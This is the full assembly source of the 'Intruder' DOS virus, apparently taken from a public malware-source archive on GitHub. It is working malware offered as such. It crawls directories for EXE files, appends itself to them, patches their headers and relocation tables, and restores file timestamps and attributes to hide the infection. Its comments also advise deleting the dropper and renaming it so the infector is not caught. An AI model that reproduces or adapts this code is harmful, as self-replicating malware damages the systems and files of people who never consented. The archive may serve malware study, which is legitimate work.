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https://github.com/vxunderground/MalwareSourceCode
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710 lines
32 KiB
NASM
710 lines
32 KiB
NASM
;The Intruder Virus is an EXE file infector which can jump from directory to
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;directory and disk to disk. It attaches itself to the end of a file and
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;modifies the EXE file header so that it gets control first, before the host
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;program. When it is done doing its job, it passes control to the host program,
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;so that the host executes without a hint that the virus is there.
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.SEQ ;segments must appear in sequential order
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;to simulate conditions in actual active virus
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;MGROUP GROUP HOSTSEG,HSTACK ;Host stack and code segments grouped together
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;HOSTSEG program code segment. The virus gains control before this routine and
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;attaches itself to another EXE file. As such, the host program for this
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;installer simply tries to delete itself off of disk and terminates. That is
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;worthwhile if you want to infect a system with the virus without getting
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;caught. Just execute the program that infects, and it disappears without a
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;trace. You might want to name the program something more innocuous, though.
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HOSTSEG SEGMENT BYTE
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ASSUME CS:HOSTSEG,SS:HSTACK
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PGMSTR DB 'INTRUDER.EXE',0
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HOST:
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mov ax,cs ;we want DS=CS here
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mov ds,ax
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mov dx,OFFSET PGMSTR
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mov ah,41H
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int 21H ;delete this exe file
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mov ah,4CH
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mov al,0
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int 21H ;terminate normally
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HOSTSEG ENDS
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;Host program stack segment
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HSTACK SEGMENT PARA STACK
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db 100H dup (?) ;100 bytes long
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HSTACK ENDS
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;------------------------------------------------------------------------
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;This is the virus itself
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STACKSIZE EQU 100H ;size of stack for the virus
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NUMRELS EQU 2 ;number of relocatables in the virus, which must go in the relocatable pointer table
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;VGROUP GROUP VSEG,VSTACK ;Virus code and stack segments grouped together
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;Intruder Virus code segment. This gains control first, before the host. As this
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;ASM file is layed out, this program will look exactly like a simple program
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;that was infected by the virus.
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VSEG SEGMENT PARA
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ASSUME CS:VSEG,DS:VSEG,SS:VSTACK
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;data storage area comes before any code
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VIRUSID DW 0C8AAH ;identifies virus
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OLDDTA DD 0 ;old DTA segment and offset
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DTA1 DB 2BH dup (?) ;new disk transfer area
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DTA2 DB 56H dup (?) ;dta for directory finds (2 deep)
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EXE_HDR DB 1CH dup (?) ;buffer for EXE file header
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EXEFILE DB '\*.EXE',0 ;search string for an exe file
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ALLFILE DB '\*.*',0 ;search string for any file
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USEFILE DB 78 dup (?) ;area to put valid file path
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LEVEL DB 0 ;depth to search directories for a file
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HANDLE DW 0 ;file handle
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FATTR DB 0 ;old file attribute storage area
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FTIME DW 0 ;old file time stamp storage area
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FDATE DW 0 ;old file date stamp storage area
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FSIZE DD 0 ;file size storage area
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VIDC DW 0 ;storage area to put VIRUSID from new host .EXE in, to check if virus already there
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VCODE DB 1 ;identifies this version
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;--------------------------------------------------------------------------
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;Intruder virus main routine starts here
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VIRUS:
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push ax ;save startup info in ax
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mov ax,cs
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mov ds,ax ;set up DS=CS for the virus
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mov ax,es ;get PSP Seg
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mov WORD PTR [OLDDTA+2],ax ;set up default DTA Seg=PSP Seg in case of abort without getting it
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call SHOULDRUN ;run only when certain conditions met signalled by z set
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jnz REL1 ;conditions aren't met, go execute host program
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call SETSR ;modify SHOULDRUN procedure to activate conditions
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call NEW_DTA ;set up a new DTA location
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call FIND_FILE ;get an exe file to attack
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jnz FINISH ;returned nz - no valid file, exit
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call SAVE_ATTRIBUTE ;save the file attributes and leave file opened in r/w mode
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call INFECT ;move program code to file we found to attack
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call REST_ATTRIBUTE ;restore the original file attributes and close the file
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FINISH: call RESTORE_DTA ;restore the DTA to its original value at startup
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pop ax ;restore startup value of ax
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REL1: ;relocatable marker for host stack segment
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mov bx,HSTACK ;set up host program stack segment (ax=segment)
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cli ;interrupts off while changing stack
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mov ss,bx
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REL1A: ;marker for host stack pointer
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mov sp,OFFSET HSTACK
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mov es,WORD PTR [OLDDTA+2] ;set up ES correctly
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mov ds,WORD PTR [OLDDTA+2] ;and DS
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sti ;interrupts back on
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REL2: ;relocatable marker for host code segment
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jmp FAR PTR HOST ;begin execution of host program
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;--------------------------------------------------------------------------
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;First Level - Find a file which passes FILE_OK
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;
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;This routine does a complex directory search to find an EXE file in the
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;current directory, one of its subdirectories, or the root directory or one
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;of its subdirectories, to find a file for which FILE_OK returns with C reset.
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;If you want to change the depth of the search, make sure to allocate enough
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;room at DTA2. This variable needs to have 2BH * LEVEL bytes in it to work,
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;since the recursive FINDBR uses a different DTA area for the search (see DOS
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;functions 4EH and 4FH) on each level.
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;
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FIND_FILE:
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mov al,'\' ;set up current directory path in USEFILE
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mov BYTE PTR [USEFILE],al
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mov si,OFFSET USEFILE+1
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xor dl,dl
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mov ah,47H
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int 21H ;get current dir, USEFILE= \dir
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cmp BYTE PTR [USEFILE+1],0 ;see if it is null. If so, its the root
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jnz FF2 ;not the root
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xor al,al ;make correction for root directory,
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mov BYTE PTR [USEFILE],al ;by setting USEFILE = ''
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FF2: mov al,2
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mov [LEVEL],al ;search 2 subdirs deep
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call FINDBR ;attempt to locate a valid file
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jz FF3 ;found one - exit
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xor al,al ;nope - try the root directory
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mov BYTE PTR [USEFILE],al ;by setting USEFILE= ''
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inc al ;al=1
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mov [LEVEL],al ;search one subdir deep
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call FINDBR ;attempt to find file
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FF3:
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ret ;exit with z flag set by FINDBR to indicate success/failure
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;--------------------------------------------------------------------------
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;Second Level - Find in a branch
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;
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;This function searches the directory specified in USEFILE for EXE files.
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;after searching the specified directory, it searches subdirectories to the
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;depth LEVEL. If an EXE file is found for which FILE_OK returns with C reset, this
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;routine exits with Z set and leaves the file and path in USEFILE
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;
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FINDBR:
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call FINDEXE ;search current dir for EXE first
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jnc FBE3 ;found it - exit
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cmp [LEVEL],0 ;no - do we want to go another directory deeper?
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jz FBE1 ;no - exit
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dec [LEVEL] ;yes - decrement LEVEL and continue
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mov di,OFFSET USEFILE ;'\curr_dir' is here
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mov si,OFFSET ALLFILE ;'\*.*' is here
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call CONCAT ;get '\curr_dir\*.*' in USEFILE
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inc di
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push di ;store pointer to first *
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call FIRSTDIR ;get first subdirectory
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jnz FBE ;couldn't find it, so quit
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FB1: ;otherwise, check it out
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pop di ;strip \*.* off of USEFILE
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xor al,al
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stosb
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mov di,OFFSET USEFILE
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mov bx,OFFSET DTA2+1EH
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mov al,[LEVEL]
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mov dl,2BH ;compute correct DTA location for subdir name
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mul dl ;which depends on the depth we're at in the search
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add bx,ax ;bx points to directory name
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mov si,bx
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call CONCAT ;'\curr_dir\sub_dir' put in USEFILE
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push di ;save position of first letter in sub_dir name
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call FINDBR ;scan the subdirectory and its subdirectories (recursive)
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jz FBE2 ;if successful, exit
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call NEXTDIR ;get next subdirectory in this directory
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jz FB1 ;go check it if search successful
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FBE: ;else exit, NZ set, cleaned up
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inc [LEVEL] ;increment the level counter before exit
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pop di ;strip any path or file spec off of original
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xor al,al ;directory path
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stosb
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FBE1: mov al,1 ;return with NZ set
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or al,al
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ret
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FBE2: pop di ;successful exit, pull this off the stack
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FBE3: xor al,al ;and set Z
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ret ;exit
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;--------------------------------------------------------------------------
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;Third Level - Part A - Find an EXE file
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;
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;This function searches the path in USEFILE for an EXE file which passes
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;the test FILE_OK. This routine will return the full path of the EXE file
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;in USEFILE, and the c flag reset, if it is successful. Otherwise, it will return
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;with the c flag set. It will search a whole directory before giving up.
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;
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FINDEXE:
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mov dx,OFFSET DTA1 ;set new DTA for EXE search
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mov ah,1AH
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int 21H
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mov di,OFFSET USEFILE
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mov si,OFFSET EXEFILE
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call CONCAT ;set up USEFILE with '\dir\*.EXE'
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push di ;save position of '\' before '*.EXE'
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mov dx,OFFSET USEFILE
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mov cx,3FH ;search first for any file
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mov ah,4EH
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int 21H
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NEXTEXE:
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or al,al ;is DOS return OK?
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jnz FEC ;no - quit with C set
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pop di
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inc di
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stosb ;truncate '\dir\*.EXE' to '\dir\'
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mov di,OFFSET USEFILE
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mov si,OFFSET DTA1+1EH
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call CONCAT ;setup file name '\dir\filename.exe'
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dec di
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push di
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call FILE_OK ;yes - is this a good file to use?
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jnc FENC ;yes - valid file found - exit with c reset
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mov ah,4FH
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int 21H ;do find next
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jmp SHORT NEXTEXE ;and go test it for validity
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FEC: ;no valid file found, return with C set
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pop di
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mov BYTE PTR [di],0 ;truncate \dir\filename.exe to \dir
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stc
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ret
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FENC: ;valid file found, return with NC
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pop di
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ret
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;--------------------------------------------------------------------------
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;Third Level - Part B - Find a subdirectory
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;
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;This function searches the file path in USEFILE for subdirectories, excluding
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;the subdirectory header entries. If one is found, it returns with Z set, and
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;if not, it returns with NZ set.
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;There are two entry points here, FIRSTDIR, which does the search first, and
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;NEXTDIR, which does the search next.
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;
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FIRSTDIR:
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call GET_DTA ;get proper DTA address in dx (calculated from LEVEL)
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push dx ;save it
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mov ah,1AH ;set DTA
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int 21H
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mov dx,OFFSET USEFILE
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mov cx,10H ;search for a directory
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mov ah,4EH ;do search first function
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int 21H
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NEXTD1:
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pop bx ;get pointer to search table (DTA)
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or al,al ;successful search?
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jnz NEXTD3 ;no, quit with NZ set
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test BYTE PTR [bx+15H],10H ;is this a directory?
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jz NEXTDIR ;no, find another
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cmp BYTE PTR [bx+1EH],'.' ;is it a subdirectory header?
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jne NEXTD2 ;no - valid directory, exit, setting Z flag
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;else it was dir header entry, so fall through to next
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NEXTDIR: ;second entry point for search next
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call GET_DTA ;get proper DTA address again - may not be set up
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push dx
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mov ah,1AH ;set DTA
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int 21H
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mov ah,4FH
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int 21H ;do find next
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jmp SHORT NEXTD1 ;and loop to check the validity of the return
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NEXTD2:
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xor al,al ;successful exit, set Z flag
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NEXTD3:
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ret ;exit routine
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;--------------------------------------------------------------------------
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;Return the DTA address associated to LEVEL in dx. This is simply given by
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;OFFSET DTA2 + (LEVEL*2BH). Each level must have a different search record
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;in its own DTA, since a search at a lower level occurs in the middle of the
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;higher level search, and we don't want the higher level being ruined by
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;corrupted data.
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;
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GET_DTA:
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mov dx,OFFSET DTA2
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mov al,2BH
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mul [LEVEL]
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add dx,ax ;return with dx= proper dta offset
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ret
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;--------------------------------------------------------------------------
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;Concatenate two strings: Add the asciiz string at DS:SI to the asciiz
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;string at ES:DI. Return ES:DI pointing to the end of the first string in the
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;destination (or the first character of the second string, after moved).
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;
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CONCAT:
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mov al,byte ptr es:[di] ;find the end of string 1
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inc di
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or al,al
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jnz CONCAT
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dec di ;di points to the null at the end
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push di ;save it to return to the caller
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CONCAT2:
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cld
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lodsb ;move second string to end of first
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stosb
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or al,al
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jnz CONCAT2
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pop di ;and restore di to point to end of string 1
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ret
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;--------------------------------------------------------------------------
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;Function to determine whether the EXE file specified in USEFILE is useable.
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;if so return nc, else return c
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;What makes an EXE file useable?:
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; a) The signature field in the EXE header must be 'MZ'. (These
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; are the first two bytes in the file.)
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; b) The Overlay Number field in the EXE header must be zero.
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; c) There must be room in the relocatable table for NUMRELS
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; more relocatables without enlarging it.
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; d) The word VIRUSID must not appear in the 2 bytes just before
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; the initial CS:0000 of the test file. If it does, the virus
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; is probably already in that file, so we skip it.
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;
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FILE_OK:
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call GET_EXE_HEADER ;read the EXE header in USEFILE into EXE_HDR
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jc OK_END ;error in reading the file, so quit
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call CHECK_SIG_OVERLAY ;is the overlay number zero?
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jc OK_END ;no - exit with c set
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call REL_ROOM ;is there room in the relocatable table?
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jc OK_END ;no - exit
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call IS_ID_THERE ;is id at CS:0000?
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OK_END: ret ;return with c flag set properly
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;--------------------------------------------------------------------------
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;Returns c if signature in the EXE header is anything but 'MZ' or the overlay
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;number is anything but zero.
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CHECK_SIG_OVERLAY:
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mov al,'M' ;check the signature first
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mov ah,'Z'
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cmp ax,WORD PTR [EXE_HDR]
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jz CSO_1 ;jump if OK
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stc ;else set carry and exit
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ret
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CSO_1: xor ax,ax
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sub ax,WORD PTR [EXE_HDR+26];subtract the overlay number from 0
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ret ;c is set if it's anything but 0
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;--------------------------------------------------------------------------
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;This function reads the 28 byte EXE file header for the file named in USEFILE.
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;It puts the header in EXE_HDR, and returns c set if unsuccessful.
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;
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GET_EXE_HEADER:
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mov dx,OFFSET USEFILE
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mov ax,3D02H ;r/w access open file
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int 21H
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jc RE_RET ;error opening - C set - quit without closing
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mov [HANDLE],ax ;else save file handle
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mov bx,ax ;handle to bx
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mov cx,1CH ;read 28 byte EXE file header
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mov dx,OFFSET EXE_HDR ;into this buffer
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mov ah,3FH
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int 21H
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RE_RET: ret ;return with c set properly
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;--------------------------------------------------------------------------
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;This function determines if there are at least NUMRELS openings in the
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;current relocatable table in USEFILE. If there are, it returns with
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;carry reset, otherwise it returns with carry set. The computation
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;this routine does is to compare whether
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; ((Header Size * 4) + Number of Relocatables) * 4 - Start of Rel Table
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;is >= than 4 * NUMRELS. If it is, then there is enough room
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;
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REL_ROOM:
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mov ax,WORD PTR [EXE_HDR+8] ;size of header, paragraphs
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add ax,ax
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add ax,ax
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sub ax,WORD PTR [EXE_HDR+6] ;number of relocatables
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add ax,ax
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add ax,ax
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sub ax,WORD PTR [EXE_HDR+24] ;start of relocatable table
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cmp ax,4*NUMRELS ;enough room to put relocatables in?
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RR_RET: ret ;exit with carry set properly
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;--------------------------------------------------------------------------
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;This function determines whether the word at the initial CS:0000 in USEFILE
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;is the same as VIRUSID in this program. If it is, it returns c set, otherwise
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;it returns c reset.
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;
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IS_ID_THERE:
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mov ax,WORD PTR [EXE_HDR+22] ;Initial CS
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add ax,WORD PTR [EXE_HDR+8] ;Header size
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mov dx,16
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mul dx
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mov cx,dx
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mov dx,ax ;cxdx = position to look for VIRUSID in file
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mov bx,[HANDLE]
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mov ax,4200H ;set file pointer, relative to beginning
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int 21H
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mov ah,3FH
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mov bx,[HANDLE]
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mov dx,OFFSET VIDC
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mov cx,2 ;read 2 bytes into VIDC
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int 21H
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jc II_RET ;couldn't read - bad file - report as though ID is there so we dont do any more to this file
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mov ax,[VIDC]
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cmp ax,[VIRUSID] ;is it the VIRUSID?
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clc
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jnz II_RET ;if not, then virus is not already in this file
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stc ;else it is probably there already
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II_RET: ret
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;--------------------------------------------------------------------------
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;This routine makes sure file end is at paragraph boundary, so the virus
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;can be attached with a valid CS. Assumes file pointer is at end of file.
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SETBDY:
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mov al,BYTE PTR [FSIZE]
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and al,0FH ;see if we have a paragraph boundary (header is always even # of paragraphs)
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jz SB_E ;all set - exit
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mov cx,10H ;no - write any old bytes to even it up
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sub cl,al ;number of bytes to write in cx
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mov dx,OFFSET FINAL ;set buffer up to point to end of the code (just garbage there)
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add WORD PTR [FSIZE],cx ;update FSIZE
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adc WORD PTR [FSIZE+2],0
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mov bx,[HANDLE]
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mov ah,40H ;DOS write function
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int 21H
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SB_E: ret
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;--------------------------------------------------------------------------
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;This routine moves the virus (this program) to the end of the EXE file
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;Basically, it just copies everything here to there, and then goes and
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;adjusts the EXE file header and two relocatables in the program, so that
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;it will work in the new environment. It also makes sure the virus starts
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;on a paragraph boundary, and adds how many bytes are necessary to do that.
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;
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INFECT:
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mov cx,WORD PTR [FSIZE+2]
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mov dx,WORD PTR [FSIZE]
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mov bx,[HANDLE]
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mov ax,4200H ;set file pointer, relative to beginning
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int 21H ;go to end of file
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call SETBDY ;lengthen to a paragraph boundary if necessary
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mov cx,OFFSET FINAL ;last byte of code
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xor dx,dx ;first byte of code, DS:DX
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mov bx,[HANDLE] ;move virus code to end of file being attacked with
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mov ah,40H ;DOS write function
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int 21H
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mov dx,WORD PTR [FSIZE] ;find 1st relocatable in code (SS)
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mov cx,WORD PTR [FSIZE+2]
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mov bx,OFFSET REL1 ;it is at FSIZE+REL1+1 in the file
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inc bx
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add dx,bx
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mov bx,0
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adc cx,bx ;cx:dx is that number
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mov bx,[HANDLE]
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||
mov ax,4200H ;set file pointer to 1st relocatable
|
||
int 21H
|
||
mov dx,OFFSET EXE_HDR+14 ;get correct old SS for new program
|
||
mov bx,[HANDLE] ;from the EXE header
|
||
mov cx,2
|
||
mov ah,40H ;and write it to relocatable REL1+1
|
||
int 21H
|
||
mov dx,WORD PTR [FSIZE]
|
||
mov cx,WORD PTR [FSIZE+2]
|
||
mov bx,OFFSET REL1A ;put in correct old SP from EXE header
|
||
inc bx ;at FSIZE+REL1A+1
|
||
add dx,bx
|
||
mov bx,0
|
||
adc cx,bx ;cx:dx points to FSIZE+REL1A+1
|
||
mov bx,[HANDLE]
|
||
mov ax,4200H ;set file pointer to place to write SP to
|
||
int 21H
|
||
mov dx,OFFSET EXE_HDR+16 ;get correct old SP for infected program
|
||
mov bx,[HANDLE] ;from EXE header
|
||
mov cx,2
|
||
mov ah,40H ;and write it where it belongs
|
||
int 21H
|
||
mov dx,WORD PTR [FSIZE]
|
||
mov cx,WORD PTR [FSIZE+2]
|
||
mov bx,OFFSET REL2 ;put in correct old CS:IP in program
|
||
add bx,1 ;at FSIZE+REL2+1 on disk
|
||
add dx,bx
|
||
mov bx,0
|
||
adc cx,bx ;cx:dx points to FSIZE+REL2+1
|
||
mov bx,[HANDLE]
|
||
mov ax,4200H ;set file pointer relavtive to start of file
|
||
int 21H
|
||
mov dx,OFFSET EXE_HDR+20 ;get correct old CS:IP from EXE header
|
||
mov bx,[HANDLE]
|
||
mov cx,4
|
||
mov ah,40H ;and write 4 bytes to FSIZE+REL2+1
|
||
int 21H
|
||
;done writing relocatable vectors
|
||
;so now adjust the EXE header values
|
||
xor cx,cx
|
||
xor dx,dx
|
||
mov bx,[HANDLE]
|
||
mov ax,4200H ;set file pointer to start of file
|
||
int 21H
|
||
mov ax,WORD PTR [FSIZE] ;calculate new initial CS (the virus' CS)
|
||
mov cl,4 ;given by (FSIZE/16)-HEADER SIZE (in paragraphs)
|
||
shr ax,cl
|
||
mov bx,WORD PTR [FSIZE+2]
|
||
and bl,0FH
|
||
mov cl,4
|
||
shl bl,cl
|
||
add ah,bl
|
||
sub ax,WORD PTR [EXE_HDR+8] ;(exe header size, in paragraphs)
|
||
mov WORD PTR [EXE_HDR+22],ax;and save as initial CS
|
||
mov bx,OFFSET FINAL ;compute new initial SS
|
||
add bx,10H ;using the formula SSi=(CSi + (OFFSET FINAL+16)/16)
|
||
mov cl,4
|
||
shr bx,cl
|
||
add ax,bx
|
||
mov WORD PTR [EXE_HDR+14],ax ;and save it
|
||
mov ax,OFFSET VIRUS ;get initial IP
|
||
mov WORD PTR [EXE_HDR+20],ax ;and save it
|
||
mov ax,STACKSIZE ;get initial SP
|
||
mov WORD PTR [EXE_HDR+16],ax ;and save it
|
||
mov dx,WORD PTR [FSIZE+2]
|
||
mov ax,WORD PTR [FSIZE] ;calculate new file size
|
||
mov bx,OFFSET FINAL
|
||
add ax,bx
|
||
xor bx,bx
|
||
adc dx,bx ;put it in ax:dx
|
||
add ax,200H ;and set up the new page count
|
||
adc dx,bx ;page ct= (ax:dx+512)/512
|
||
push ax
|
||
mov cl,9
|
||
shr ax,cl
|
||
mov cl,7
|
||
shl dx,cl
|
||
add ax,dx
|
||
mov WORD PTR [EXE_HDR+4],ax ;and save it here
|
||
pop ax
|
||
and ax,1FFH ;now calculate last page size
|
||
mov WORD PTR [EXE_HDR+2],ax ;and put it here
|
||
mov ax,NUMRELS ;adjust relocatables counter
|
||
add WORD PTR [EXE_HDR+6],ax
|
||
mov cx,1CH ;and save data at start of file
|
||
mov dx,OFFSET EXE_HDR
|
||
mov bx,[HANDLE]
|
||
mov ah,40H ;DOS write function
|
||
int 21H
|
||
mov ax,WORD PTR [EXE_HDR+6] ;get number of relocatables in table
|
||
dec ax ;in order to calculate location of
|
||
dec ax ;where to add relocatables
|
||
mov bx,4 ;Location= (No in table-2)*4+Table Offset
|
||
mul bx
|
||
add ax,WORD PTR [EXE_HDR+24];table offset
|
||
mov bx,0
|
||
adc dx,bx ;dx:ax=end of old table in file
|
||
mov cx,dx
|
||
mov dx,ax
|
||
mov bx,[HANDLE]
|
||
mov ax,4200H ;set file pointer to table end
|
||
int 21H
|
||
mov ax,WORD PTR [EXE_HDR+22] ;and set up 2 pointers: init CS = seg of REL1
|
||
mov bx,OFFSET REL1
|
||
inc bx ;offset of REL1
|
||
mov WORD PTR [EXE_HDR],bx ;use EXE_HDR as a buffer to
|
||
mov WORD PTR [EXE_HDR+2],ax ;save relocatables in for now
|
||
mov ax,WORD PTR [EXE_HDR+22] ;init CS = seg of REL2
|
||
mov bx,OFFSET REL2
|
||
add bx,3 ;offset of REL2
|
||
mov WORD PTR [EXE_HDR+4],bx ;write it to buffer
|
||
mov WORD PTR [EXE_HDR+6],ax
|
||
mov cx,8 ;and then write 8 bytes of data in file
|
||
mov dx,OFFSET EXE_HDR
|
||
mov bx,[HANDLE]
|
||
mov ah,40H ;DOS write function
|
||
int 21H
|
||
ret ;that's it, infection is complete!
|
||
|
||
;--------------------------------------------------------------------------
|
||
;This routine determines whether the reproduction code should be executed.
|
||
;If it returns Z, the reproduction code is executed, otherwise it is not.
|
||
;Currently, it only executes if the system time variable is a multiple of
|
||
;TIMECT. As such, the virus will reproduce only 1 out of every TIMECT+1
|
||
;executions of the program. TIMECT should be 2^n-1
|
||
;Note that the ret at SR1 is replaced by a NOP by SETSR whenever the program
|
||
;is run. This makes SHOULDRUN return Z for sure the first time, so it
|
||
;definitely runs when this loader program is run, but after that, the time must
|
||
;be an even multiple of TIMECT+1.
|
||
;
|
||
TIMECT EQU 0 ;Determines how often to reproduce (1/64 here)
|
||
;
|
||
SHOULDRUN:
|
||
xor ah,ah ;zero ax to start, set z flag
|
||
SR1: ret ;this gets replaced by NOP when program runs
|
||
int 1AH
|
||
and dl,TIMECT ;is it an even multiple of TIMECT+1 ticks?
|
||
ret ;return with z flag set if it is, else nz set
|
||
|
||
|
||
;--------------------------------------------------------------------------
|
||
;SETSR modifies SHOULDRUN so that the full procedure gets run
|
||
;it is redundant after the initial load
|
||
SETSR:
|
||
mov al,90H ;NOP code
|
||
mov BYTE PTR SR1,al ;put it in place of RET above
|
||
ret ;and return
|
||
|
||
;--------------------------------------------------------------------------
|
||
;This routine sets up the new DTA location at DTA1, and saves the location of
|
||
;the initial DTA in the variable OLDDTA.
|
||
NEW_DTA:
|
||
mov ah,2FH ;get current DTA in ES:BX
|
||
int 21H
|
||
mov WORD PTR [OLDDTA],bx ;save it here
|
||
mov ax,es
|
||
mov WORD PTR [OLDDTA+2],ax
|
||
mov ax,cs
|
||
mov es,ax ;set up ES
|
||
mov dx,OFFSET DTA1 ;set new DTA offset
|
||
mov ah,1AH
|
||
int 21H ;and tell DOS where we want it
|
||
ret
|
||
|
||
;--------------------------------------------------------------------------
|
||
;This routine reverses the action of NEW_DTA and restores the DTA to its
|
||
;original value.
|
||
RESTORE_DTA:
|
||
mov dx,WORD PTR [OLDDTA] ;get original DTA seg:ofs
|
||
mov ax,WORD PTR [OLDDTA+2]
|
||
mov ds,ax
|
||
mov ah,1AH
|
||
int 21H ;and tell DOS where to put it
|
||
mov ax,cs ;restore ds before exiting
|
||
mov ds,ax
|
||
ret
|
||
|
||
;--------------------------------------------------------------------------
|
||
;This routine saves the original file attribute in FATTR, the file date and
|
||
;time in FDATE and FTIME, and the file size in FSIZE. It also sets the
|
||
;file attribute to read/write, and leaves the file opened in read/write
|
||
;mode (since it has to open the file to get the date and size), with the handle
|
||
;it was opened under in HANDLE. The file path and name is in USEFILE.
|
||
SAVE_ATTRIBUTE:
|
||
mov ah,43H ;get file attr
|
||
mov al,0
|
||
mov dx,OFFSET USEFILE
|
||
int 21H
|
||
mov [FATTR],cl ;save it here
|
||
mov ah,43H ;now set file attr to r/w
|
||
mov al,1
|
||
mov dx,OFFSET USEFILE
|
||
mov cl,0
|
||
int 21H
|
||
mov dx,OFFSET USEFILE
|
||
mov al,2 ;now that we know it's r/w
|
||
mov ah,3DH ;we can r/w access open file
|
||
int 21H
|
||
mov [HANDLE],ax ;save file handle here
|
||
mov ah,57H ;and get the file date and time
|
||
xor al,al
|
||
mov bx,[HANDLE]
|
||
int 21H
|
||
mov [FTIME],cx ;and save it here
|
||
mov [FDATE],dx ;and here
|
||
mov ax,WORD PTR [DTA1+28] ;file size was set up here by
|
||
mov WORD PTR [FSIZE+2],ax ;search routine
|
||
mov ax,WORD PTR [DTA1+26] ;so move it to FSIZE
|
||
mov WORD PTR [FSIZE],ax
|
||
ret
|
||
|
||
;--------------------------------------------------------------------------
|
||
;Restore file attribute, and date and time of the file as they were before
|
||
;it was infected. This also closes the file
|
||
REST_ATTRIBUTE:
|
||
mov dx,[FDATE] ;get old date and time
|
||
mov cx,[FTIME]
|
||
mov ah,57H ;set file date and time to old value
|
||
mov al,1
|
||
mov bx,[HANDLE]
|
||
int 21H
|
||
mov ah,3EH
|
||
mov bx,[HANDLE] ;close file
|
||
int 21H
|
||
mov cl,[FATTR]
|
||
xor ch,ch
|
||
mov ah,43H ;Set file attr to old value
|
||
mov al,1
|
||
mov dx,OFFSET USEFILE
|
||
int 21H
|
||
ret
|
||
|
||
FINAL: ;last byte of code to be kept in virus
|
||
|
||
VSEG ENDS
|
||
|
||
|
||
;--------------------------------------------------------------------------
|
||
;Virus stack segment
|
||
|
||
VSTACK SEGMENT PARA STACK
|
||
db STACKSIZE dup (?)
|
||
VSTACK ENDS
|
||
|
||
END VIRUS ;Entry point is the virus
|
||
|